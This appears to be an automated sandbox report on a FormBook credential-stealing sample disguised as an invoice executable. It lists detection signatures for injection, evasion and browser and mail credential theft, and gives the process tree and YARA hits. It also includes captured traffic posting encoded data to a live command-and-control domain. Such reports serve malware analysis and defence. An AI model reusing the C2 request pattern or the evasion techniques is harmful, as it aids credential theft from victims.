Edit tour

Windows Analysis Report
INVOICE, PACKING LIST, COPY BL.exe

Overview

General Information

Sample name:	INVOICE, PACKING LIST, COPY BL.exe
Analysis ID:	1595905
MD5:	d99a197ff2ab116a27ebc2f9f5cb9621
SHA1:	3f0432535936a6ba7f8f59165955fd5a80a1fbac
SHA256:	a91e52d4bedcc2c8114e3f2ddb80908c4abb92b0838689a14818494009088b95
Tags:	exeuser-threatcat_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected FormBook

.NET source code contains potential unpacker

AI detected suspicious sample

Found direct / indirect Syscall (likely to bypass EDR)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

INVOICE, PACKING LIST, COPY BL.exe (PID: 7544 cmdline: "C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe" MD5: D99A197FF2AB116A27EBC2F9F5CB9621)

INVOICE, PACKING LIST, COPY BL.exe (PID: 7728 cmdline: "C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe" MD5: D99A197FF2AB116A27EBC2F9F5CB9621)

2zqVCuEmR.exe (PID: 5360 cmdline: "C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\Ecsr5MF5B.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

secinit.exe (PID: 7980 cmdline: "C:\Windows\SysWOW64\secinit.exe" MD5: 3B4B8DB765C75B8024A208AE6915223C)

2zqVCuEmR.exe (PID: 7128 cmdline: "C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\jbvjh2XSnh6aHF.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

firefox.exe (PID: 7352 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1753952129.0000000003750000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.2643396170.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.1752858443.00000000014E0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.1752372159.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.2643246476.0000000003060000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.2641361851.0000000002AC0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2643029007.0000000004E20000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.2645828359.0000000004D20000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: INVOICE, PACKING LIST, COPY BL.exe PID: 7544	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.INVOICE, PACKING LIST, COPY BL.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
3.2.INVOICE, PACKING LIST, COPY BL.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

HTTP traffic detected: POST /s3u9/ HTTP/1.1Host: www.bydotoparca.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-USOrigin: http://www.bydotoparca.netCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 204Connection: closeReferer: http://www.bydotoparca.net/s3u9/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)Data Raw: 6f 38 49 3d 5a 78 4c 69 52 69 71 6e 65 39 4a 77 4b 35 57 2b 49 4a 4d 6d 46 46 6c 79 57 6a 49 45 79 68 36 64 53 57 2b 6c 35 72 51 6f 6a 48 76 62 64 50 2f 6a 6e 2f 57 59 75 72 2b 54 68 32 38 78 53 79 2b 67 76 67 6f 53 71 61 72 68 67 49 51 6a 42 55 79 35 42 6f 66 53 6e 39 6f 73 4a 35 36 52 49 2f 4f 4a 51 51 63 58 65 56 64 43 61 41 55 49 58 49 78 50 37 31 73 55 32 6e 37 62 4b 61 70 72 32 5a 44 30 30 6a 6c 6b 49 68 59 42 56 46 75 2f 68 54 52 34 79 57 75 42 73 38 35 59 50 34 6b 7a 34 52 50 41 6d 4c 79 36 75 36 78 6f 66 58 79 4d 45 47 49 6c 52 7a 2f 4c 72 36 36 71 72 54 42 6c 4c 45 41 37 68 66 67 41 41 52 45 3d Data Ascii: o8I=ZxLiRiqne9JwK5W+IJMmFFlyWjIEyh6dSW+l5rQojHvbdP/jn/WYur+Th28xSy+gvgoSqarhgIQjBUy5BofSn9osJ56RI/OJQQcXeVdCaAUIXIxP71sU2n7bKapr2ZD00jlkIhYBVFu/hTR4yWuBs85YP4kz4RPAmLy6u6xofXyMEGIlRz/Lr66qrTBlLEA7hfgAARE=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Tue, 21 Jan 2025 12:26:13 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2025-01-21T12:26:18.7550837Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 21 Jan 2025 12:26:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 21 Jan 2025 12:26:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 21 Jan 2025 12:26:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 21 Jan 2025 12:26:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 12:26:33 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 12:26:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 12:26:38 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 12:26:41 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 21 Jan 2025 12:27:01 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 21 Jan 2025 12:27:01 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 